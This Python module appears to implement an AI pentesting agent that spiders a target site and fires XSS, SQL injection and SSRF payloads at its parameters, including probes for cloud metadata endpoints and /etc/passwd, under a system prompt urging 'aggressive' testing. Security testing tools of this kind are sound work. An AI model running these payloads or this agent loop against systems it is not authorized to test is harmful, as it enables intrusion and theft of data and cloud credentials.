"""
Web Penetration Testing Agent - AI-powered web application security assessment.

Performs comprehensive web application penetration testing including:
- Reconnaissance and information gathering
- Vulnerability scanning (XSS, SQLi, SSRF, etc.)
- Authentication and session testing
- Business logic testing
- Client-side security assessment
"""

import json
import re
import time
from typing import Any, Dict, List, Optional, Set
from urllib.parse import urljoin, urlparse, parse_qs

import structlog

from aipt_v2.skills.agents.base import (
    AgentConfig,
    AgentResult,
    BaseSecurityAgent,
    Finding,
    Severity,
    VulnCategory,
    register_tool,
)
from aipt_v2.skills.prompts import SkillPrompts, VULNERABILITY_PROMPTS

logger = structlog.get_logger()


# Shared HTTP client
_http_client = None


def get_http_client():
    """Get or create HTTP client."""
    global _http_client
    if _http_client is None:
        import httpx
        _http_client = httpx.AsyncClient(
            timeout=30.0,
            follow_redirects=True,
            verify=False
        )
    return _http_client


# Register web pentest tools
@register_tool(
    name="fetch_page",
    description="Fetch a web page and return HTML content with analysis",
    parameters={
        "url": {"type": "string", "description": "URL to fetch"},
        "headers": {"type": "object", "description": "Optional headers"},
        "method": {"type": "string", "description": "HTTP method (default: GET)"}
    },
    category="web_pentest"
)
async def fetch_page(
    url: str,
    headers: Optional[Dict[str, str]] = None,
    method: str = "GET"
) -> str:
    """Fetch a web page."""
    try:
        client = get_http_client()
        response = await client.request(method=method, url=url, headers=headers)

        # Analyze the page
        content_type = response.headers.get("content-type", "")
        security_headers = {
            "X-Frame-Options": response.headers.get("x-frame-options", "MISSING"),
            "X-Content-Type-Options": response.headers.get("x-content-type-options", "MISSING"),
            "X-XSS-Protection": response.headers.get("x-xss-protection", "MISSING"),
            "Content-Security-Policy": response.headers.get("content-security-policy", "MISSING")[:100] if response.headers.get("content-security-policy") else "MISSING",
            "Strict-Transport-Security": response.headers.get("strict-transport-security", "MISSING"),
        }

        # Extract forms and inputs
        html = response.text
        forms = re.findall(r'<form[^>]*>(.*?)</form>', html, re.DOTALL | re.IGNORECASE)
        inputs = re.findall(r'<input[^>]*>', html, re.IGNORECASE)
        links = re.findall(r'href=["\']([^"\']+)["\']', html, re.IGNORECASE)
        scripts = re.findall(r'<script[^>]*>(.*?)</script>', html, re.DOTALL | re.IGNORECASE)

        # Find potential injection points
        params_in_url = parse_qs(urlparse(url).query)

        result = f"""Page: {url}
Status: {response.status_code}
Content-Type: {content_type}

=== SECURITY HEADERS ===
{json.dumps(security_headers, indent=2)}

=== FORMS ({len(forms)}) ===
{chr(10).join([f[:500] for f in forms[:5]])}

=== INPUT FIELDS ({len(inputs)}) ===
{chr(10).join(inputs[:20])}

=== LINKS ({len(links)}) ===
{chr(10).join(links[:30])}

=== URL PARAMETERS ===
{json.dumps(params_in_url, indent=2) if params_in_url else "None"}

=== INLINE SCRIPTS ({len(scripts)}) ===
{len(scripts)} script blocks found

=== RESPONSE BODY (truncated) ===
{html[:3000]}"""

        return result

    except Exception as e:
        return f"Failed to fetch page: {str(e)}"


@register_tool(
    name="spider_site",
    description="Spider a website to discover pages and endpoints",
    parameters={
        "start_url": {"type": "string", "description": "Starting URL to spider"},
        "max_pages": {"type": "integer", "description": "Maximum pages to crawl (default: 50)"},
        "same_domain": {"type": "boolean", "description": "Only crawl same domain (default: true)"}
    },
    category="web_pentest"
)
async def spider_site(
    start_url: str,
    max_pages: int = 50,
    same_domain: bool = True
) -> str:
    """Spider a website to discover URLs."""
    try:
        import asyncio
        client = get_http_client()

        visited: Set[str] = set()
        to_visit: List[str] = [start_url]
        found_urls: List[Dict[str, Any]] = []
        forms_found: List[Dict[str, Any]] = []

        base_domain = urlparse(start_url).netloc

        while to_visit and len(visited) < max_pages:
            url = to_visit.pop(0)

            if url in visited:
                continue

            try:
                parsed = urlparse(url)
                if same_domain and parsed.netloc != base_domain:
                    continue

                visited.add(url)
                response = await client.get(url, follow_redirects=True)

                # Record URL with metadata
                found_urls.append({
                    "url": url,
                    "status": response.status_code,
                    "content_type": response.headers.get("content-type", "unknown"),
                    "params": bool(parse_qs(parsed.query))
                })

                # Extract links
                html = response.text
                links = re.findall(r'href=["\']([^"\'#]+)["\']', html, re.IGNORECASE)

                for link in links:
                    full_url = urljoin(url, link)
                    if full_url not in visited and full_url not in to_visit:
                        to_visit.append(full_url)

                # Extract forms
                form_matches = re.findall(r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>(.*?)</form>', html, re.DOTALL | re.IGNORECASE)
                for action, form_content in form_matches:
                    inputs = re.findall(r'<input[^>]*name=["\']([^"\']+)["\'][^>]*>', form_content, re.IGNORECASE)
                    forms_found.append({
                        "page": url,
                        "action": urljoin(url, action) if action else url,
                        "inputs": inputs
                    })

                await asyncio.sleep(0.1)  # Rate limiting

            except Exception as e:
                found_urls.append({"url": url, "error": str(e)})

        # Format results
        result = f"""Spider Results for {start_url}
Total URLs discovered: {len(found_urls)}
Forms found: {len(forms_found)}

=== URLS WITH PARAMETERS (High Priority) ===
"""
        urls_with_params = [u for u in found_urls if u.get("params")]
        for u in urls_with_params:
            result += f"  {u['url']}\n"

        result += f"""
=== FORMS (Injection Targets) ===
"""
        for f in forms_found:
            result += f"  Action: {f['action']}\n"
            result += f"  Inputs: {', '.join(f['inputs'])}\n\n"

        result += f"""
=== ALL DISCOVERED URLS ===
"""
        for u in found_urls:
            if "error" in u:
                result += f"  ERROR: {u['url']} - {u['error']}\n"
            else:
                result += f"  [{u['status']}] {u['url']}\n"

        return result

    except Exception as e:
        return f"Spidering failed: {str(e)}"


@register_tool(
    name="test_xss",
    description="Test a URL/parameter for XSS vulnerabilities",
    parameters={
        "url": {"type": "string", "description": "URL to test"},
        "param": {"type": "string", "description": "Parameter name to inject into"},
        "method": {"type": "string", "description": "GET or POST (default: GET)"}
    },
    category="web_pentest"
)
async def test_xss(url: str, param: str, method: str = "GET") -> str:
    """Test for XSS vulnerabilities."""
    try:
        client = get_http_client()

        payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "'\"><script>alert('XSS')</script>",
            "<body onload=alert('XSS')>",
            "'-alert('XSS')-'",
            "\"><img src=x onerror=alert('XSS')>",
        ]

        results = []
        import asyncio

        for payload in payloads:
            try:
                if method.upper() == "GET":
                    test_url = f"{url}?{param}={payload}" if "?" not in url else f"{url}&{param}={payload}"
                    response = await client.get(test_url)
                else:
                    response = await client.post(url, data={param: payload})

                # Check if payload is reflected
                reflected = payload in response.text or payload.replace("'", "&#39;") in response.text

                # Check for basic sanitization
                sanitized = "&lt;script&gt;" in response.text or "&lt;img" in response.text

                results.append({
                    "payload": payload,
                    "reflected": reflected,
                    "sanitized": sanitized,
                    "status": response.status_code,
                    "vulnerable": reflected and not sanitized
                })

                await asyncio.sleep(0.1)

            except Exception as e:
                results.append({"payload": payload, "error": str(e)})

        # Format results
        vulnerable = [r for r in results if r.get("vulnerable")]

        output = f"""XSS Testing: {url}
Parameter: {param}
Method: {method}

"""
        if vulnerable:
            output += "🚨 VULNERABLE TO XSS!\n\n"
            output += "=== SUCCESSFUL PAYLOADS ===\n"
            for r in vulnerable:
                output += f"  {r['payload']}\n"
        else:
            output += "No direct XSS found (may need context-specific payloads)\n"

        output += "\n=== ALL RESULTS ===\n"
        for r in results:
            if "error" in r:
                output += f"  {r['payload']}: Error\n"
            else:
                status = "VULNERABLE" if r.get("vulnerable") else ("Reflected but sanitized" if r.get("reflected") else "Not reflected")
                output += f"  {r['payload']}: {status}\n"

        return output

    except Exception as e:
        return f"XSS testing failed: {str(e)}"


@register_tool(
    name="test_sqli",
    description="Test a URL/parameter for SQL injection",
    parameters={
        "url": {"type": "string", "description": "URL to test"},
        "param": {"type": "string", "description": "Parameter name to test"},
        "method": {"type": "string", "description": "GET or POST"}
    },
    category="web_pentest"
)
async def test_sqli(url: str, param: str, method: str = "GET") -> str:
    """Test for SQL injection vulnerabilities."""
    try:
        client = get_http_client()
        import asyncio

        # Error-based payloads
        payloads = [
            ("'", "Single quote"),
            ("\"", "Double quote"),
            ("' OR '1'='1", "OR bypass"),
            ("' OR '1'='1'--", "OR bypass with comment"),
            ("1' AND '1'='1", "AND true"),
            ("1' AND '1'='2", "AND false"),
            ("' UNION SELECT NULL--", "UNION"),
            ("1; SELECT 1--", "Stacked query"),
            ("' OR SLEEP(5)--", "Time-based MySQL"),
            ("'; WAITFOR DELAY '0:0:5'--", "Time-based MSSQL"),
        ]

        results = []
        baseline_length = None
        baseline_time = None

        # Get baseline
        try:
            start = time.time()
            if method.upper() == "GET":
                response = await client.get(f"{url}?{param}=1")
            else:
                response = await client.post(url, data={param: "1"})
            baseline_time = time.time() - start
            baseline_length = len(response.text)
        except Exception:
            pass

        for payload, description in payloads:
            try:
                start = time.time()

                if method.upper() == "GET":
                    test_url = f"{url}?{param}={payload}"
                    response = await client.get(test_url)
                else:
                    response = await client.post(url, data={param: payload})

                elapsed = time.time() - start

                # Check for SQL errors
                sql_errors = [
                    "sql syntax", "mysql", "sqlite", "postgresql", "oracle",
                    "microsoft sql", "odbc", "jdbc", "sql error", "syntax error",
                    "unterminated", "quoted string", "invalid query"
                ]
                error_found = any(err in response.text.lower() for err in sql_errors)

                # Check for time-based injection
                time_based = elapsed > (baseline_time or 1) + 4 if baseline_time else elapsed > 5

                # Check for boolean-based (response length difference)
                length_diff = abs(len(response.text) - baseline_length) if baseline_length else 0

                results.append({
                    "payload": payload,
                    "description": description,
                    "status": response.status_code,
                    "error_based": error_found,
                    "time_based": time_based,
                    "time": elapsed,
                    "length": len(response.text),
                    "length_diff": length_diff
                })

                await asyncio.sleep(0.2)

            except Exception as e:
                results.append({"payload": payload, "error": str(e)})

        # Analyze results
        vulnerable = [r for r in results if r.get("error_based") or r.get("time_based")]

        output = f"""SQL Injection Testing: {url}
Parameter: {param}
Method: {method}
Baseline response length: {baseline_length}
Baseline response time: {baseline_time:.2f}s

"""
        if vulnerable:
            output += "🚨 POTENTIALLY VULNERABLE TO SQL INJECTION!\n\n"
            output += "=== INDICATORS ===\n"
            for r in vulnerable:
                indicator = "Error-based" if r.get("error_based") else "Time-based"
                output += f"  {r['description']}: {indicator}\n"
                output += f"    Payload: {r['payload']}\n"

        output += "\n=== ALL RESULTS ===\n"
        for r in results:
            if "error" in r:
                output += f"  {r['description']}: Error - {r['error']}\n"
            else:
                indicators = []
                if r.get("error_based"):
                    indicators.append("SQL Error")
                if r.get("time_based"):
                    indicators.append(f"Delayed ({r['time']:.1f}s)")
                if r.get("length_diff", 0) > 100:
                    indicators.append(f"Length diff: {r['length_diff']}")

                status = ", ".join(indicators) if indicators else "No indicators"
                output += f"  {r['description']}: {status}\n"

        return output

    except Exception as e:
        return f"SQLi testing failed: {str(e)}"


@register_tool(
    name="test_ssrf",
    description="Test for SSRF vulnerabilities",
    parameters={
        "url": {"type": "string", "description": "URL with parameter to test"},
        "param": {"type": "string", "description": "URL parameter name"},
        "callback_url": {"type": "string", "description": "Your callback URL for OOB detection (optional)"}
    },
    category="web_pentest"
)
async def test_ssrf(url: str, param: str, callback_url: Optional[str] = None) -> str:
    """Test for SSRF vulnerabilities."""
    try:
        client = get_http_client()
        import asyncio

        ssrf_payloads = [
            ("http://127.0.0.1", "Localhost"),
            ("http://localhost", "Localhost hostname"),
            ("http://[::1]", "IPv6 localhost"),
            ("http://0.0.0.0", "Zero address"),
            ("http://169.254.169.254/latest/meta-data/", "AWS metadata"),
            ("http://metadata.google.internal/", "GCP metadata"),
            ("http://169.254.169.254/metadata/instance", "Azure metadata"),
            ("file:///etc/passwd", "File protocol"),
            ("http://127.0.0.1:22", "SSH port"),
            ("http://127.0.0.1:3306", "MySQL port"),
        ]

        if callback_url:
            ssrf_payloads.append((callback_url, "OOB Callback"))

        results = []

        for payload, description in ssrf_payloads:
            try:
                test_url = f"{url}?{param}={payload}"
                response = await client.get(test_url, timeout=10.0)

                # Check for SSRF indicators
                ssrf_indicators = [
                    "root:", "uid=", "passwd", "shadow",  # File read
                    "ami-id", "instance-id", "hostname",  # AWS
                    "computeMetadata", "project-id",  # GCP
                    "vmId", "subscriptionId",  # Azure
                    "connection refused", "no route to host"  # Network errors suggesting internal access
                ]

                indicator_found = any(ind in response.text.lower() for ind in ssrf_indicators)

                results.append({
                    "payload": payload,
                    "description": description,
                    "status": response.status_code,
                    "length": len(response.text),
                    "indicator": indicator_found,
                    "preview": response.text[:200] if indicator_found else ""
                })

                await asyncio.sleep(0.2)

            except Exception as e:
                # Timeouts or connection errors might indicate internal network access
                error_msg = str(e).lower()
                internal_indicators = ["timeout", "connection refused", "no route", "unreachable"]
                possible_ssrf = any(ind in error_msg for ind in internal_indicators)

                results.append({
                    "payload": payload,
                    "description": description,
                    "error": str(e),
                    "possible_ssrf": possible_ssrf
                })

        # Format results
        vulnerable = [r for r in results if r.get("indicator") or r.get("possible_ssrf")]

        output = f"""SSRF Testing: {url}
Parameter: {param}

"""
        if vulnerable:
            output += "🚨 POTENTIAL SSRF DETECTED!\n\n"
            output += "=== INDICATORS ===\n"
            for r in vulnerable:
                if r.get("indicator"):
                    output += f"  {r['description']}: Response contains internal data\n"
                    output += f"    Preview: {r.get('preview', '')}\n"
                if r.get("possible_ssrf"):
                    output += f"  {r['description']}: Network error suggests internal access attempt\n"

        output += "\n=== ALL RESULTS ===\n"
        for r in results:
            if "error" in r:
                status = "Possible SSRF" if r.get("possible_ssrf") else "Error"
                output += f"  {r['description']}: {status}\n"
            else:
                status = "INDICATOR FOUND" if r.get("indicator") else f"Status {r['status']}"
                output += f"  {r['description']}: {status}\n"

        return output

    except Exception as e:
        return f"SSRF testing failed: {str(e)}"


@register_tool(
    name="report_web_finding",
    description="Report a web security vulnerability",
    parameters={
        "title": {"type": "string"},
        "severity": {"type": "string"},
        "vuln_type": {"type": "string"},
        "url": {"type": "string"},
        "description": {"type": "string"},
        "payload": {"type": "string"},
        "evidence": {"type": "string"},
        "remediation": {"type": "string"},
        "cwe": {"type": "string"}
    },
    category="web_pentest"
)
async def report_web_finding(
    title: str,
    severity: str,
    vuln_type: str,
    url: str,
    description: str,
    payload: str,
    evidence: str,
    remediation: str,
    cwe: Optional[str] = None
) -> str:
    """Report a web security finding."""
    return f"""Web Security Finding Recorded:
Title: {title}
Severity: {severity}
Type: {vuln_type}
URL: {url}
CWE: {cwe or 'N/A'}
Description: {description}
Payload: {payload}
Evidence: {evidence[:500]}
Remediation: {remediation}
"""


WEB_PENTEST_SYSTEM_PROMPT = """You are an expert web application penetration tester with deep knowledge of:
- OWASP Top 10 vulnerabilities
- Client-side security (XSS, CSRF, Clickjacking)
- Server-side security (SQLi, RCE, SSRF, XXE)
- Authentication and session management
- Business logic flaws

## TESTING METHODOLOGY

### Phase 1: Reconnaissance
- Spider the target to discover all pages and endpoints
- Identify forms, inputs, and parameters
- Analyze security headers
- Check robots.txt, sitemap.xml

### Phase 2: Input Vector Testing
For each input discovered:
1. Test for XSS (reflected, stored, DOM)
2. Test for SQL injection
3. Test for command injection
4. Test for path traversal

### Phase 3: Authentication & Session
- Test for weak credentials
- Check session token randomness
- Test session fixation
- Test logout functionality

### Phase 4: Authorization
- Test for IDOR
- Check horizontal privilege escalation
- Check vertical privilege escalation

### Phase 5: Business Logic
- Test workflow bypasses
- Check for race conditions
- Test input validation on client vs server

## VULNERABILITY PRIORITIES

1. **CRITICAL**: RCE, SQLi with data extraction, Auth bypass
2. **HIGH**: Stored XSS, SSRF, Path traversal with file read
3. **MEDIUM**: Reflected XSS, CSRF, Info disclosure
4. **LOW**: Missing security headers, clickjacking

## OUTPUT FORMAT

Use report_web_finding for each vulnerability with:
- Clear, specific title
- Accurate severity
- Working payload
- Evidence (request/response)
- Specific remediation

Be thorough and aggressive. Test ALL inputs. Check ALL pages."""


class WebPentestAgent(BaseSecurityAgent):
    """
    AI-powered web application penetration testing agent.

    Performs comprehensive web security testing including:
    - Site spidering and reconnaissance
    - Injection testing (XSS, SQLi, SSRF, etc.)
    - Authentication and authorization testing
    - Security header analysis

    Usage:
        agent = WebPentestAgent(target="https://example.com")
        result = await agent.run()
    """

    def __init__(
        self,
        target: str,
        config: Optional[AgentConfig] = None,
        cookies: Optional[Dict[str, str]] = None,
        auth_token: Optional[str] = None,
        scope: Optional[List[str]] = None
    ):
        """
        Initialize the web pentest agent.

        Args:
            target: Target URL to test
            config: Agent configuration
            cookies: Session cookies for authenticated testing
            auth_token: Bearer token for API authentication
            scope: List of URL patterns that are in scope
        """
        super().__init__(config)
        self.target = target.rstrip('/')
        self.cookies = cookies or {}
        self.auth_token = auth_token
        self.scope = scope or [urlparse(target).netloc]

    def get_system_prompt(self) -> str:
        """Get the web pentest system prompt."""
        prompt = WEB_PENTEST_SYSTEM_PROMPT

        if self.scope:
            prompt += f"\n\n## SCOPE\nOnly test these domains: {', '.join(self.scope)}"

        return prompt

    def get_tools(self) -> List[Dict[str, Any]]:
        """Get tools available for web pentesting."""
        return [
            {
                "name": "fetch_page",
                "description": "Fetch a web page and analyze its content",
                "parameters": {
                    "url": {"type": "string", "description": "URL to fetch"},
                    "headers": {"type": "object", "description": "Optional headers"},
                    "method": {"type": "string", "description": "HTTP method"}
                },
                "required": ["url"]
            },
            {
                "name": "spider_site",
                "description": "Spider a website to discover pages and endpoints",
                "parameters": {
                    "start_url": {"type": "string"},
                    "max_pages": {"type": "integer"},
                    "same_domain": {"type": "boolean"}
                },
                "required": ["start_url"]
            },
            {
                "name": "test_xss",
                "description": "Test for XSS vulnerabilities",
                "parameters": {
                    "url": {"type": "string"},
                    "param": {"type": "string"},
                    "method": {"type": "string"}
                },
                "required": ["url", "param"]
            },
            {
                "name": "test_sqli",
                "description": "Test for SQL injection",
                "parameters": {
                    "url": {"type": "string"},
                    "param": {"type": "string"},
                    "method": {"type": "string"}
                },
                "required": ["url", "param"]
            },
            {
                "name": "test_ssrf",
                "description": "Test for SSRF vulnerabilities",
                "parameters": {
                    "url": {"type": "string"},
                    "param": {"type": "string"},
                    "callback_url": {"type": "string"}
                },
                "required": ["url", "param"]
            },
            {
                "name": "report_web_finding",
                "description": "Report a web security vulnerability",
                "parameters": {
                    "title": {"type": "string"},
                    "severity": {"type": "string"},
                    "vuln_type": {"type": "string"},
                    "url": {"type": "string"},
                    "description": {"type": "string"},
                    "payload": {"type": "string"},
                    "evidence": {"type": "string"},
                    "remediation": {"type": "string"},
                    "cwe": {"type": "string"}
                },
                "required": ["title", "severity", "vuln_type", "url", "description", "payload", "evidence", "remediation"]
            }
        ]

    async def run(self, initial_message: Optional[str] = None) -> AgentResult:
        """
        Run the web penetration test.

        Args:
            initial_message: Optional additional instructions

        Returns:
            AgentResult with all security findings
        """
        message = f"""Perform comprehensive web application penetration testing on: {self.target}

Testing Process:
1. First, fetch the main page to analyze the application
2. Spider the site to discover all pages and parameters
3. Test each parameter for XSS vulnerabilities
4. Test each parameter for SQL injection
5. Test URL parameters for SSRF
6. Analyze security headers
7. Report all findings

{f'Use cookies for authenticated testing: {json.dumps(self.cookies)}' if self.cookies else ''}
{f'Use auth token: {self.auth_token}' if self.auth_token else ''}

{initial_message or ''}

Begin testing now. Be thorough and test ALL discovered inputs."""

        return await super().run(message)

    async def quick_scan(self) -> AgentResult:
        """
        Perform a quick security scan.

        Returns:
            AgentResult with high-priority findings
        """
        original_max_steps = self.config.max_steps
        self.config.max_steps = min(25, original_max_steps)

        try:
            message = f"""Perform a QUICK security scan of: {self.target}

Focus on high-priority vulnerabilities only:
1. Fetch the main page and check security headers
2. Test 2-3 most important parameters for XSS and SQLi
3. Check for obvious misconfigurations

Do not spider the entire site. Focus on finding critical issues fast."""

            return await super().run(message)
        finally:
            self.config.max_steps = original_max_steps
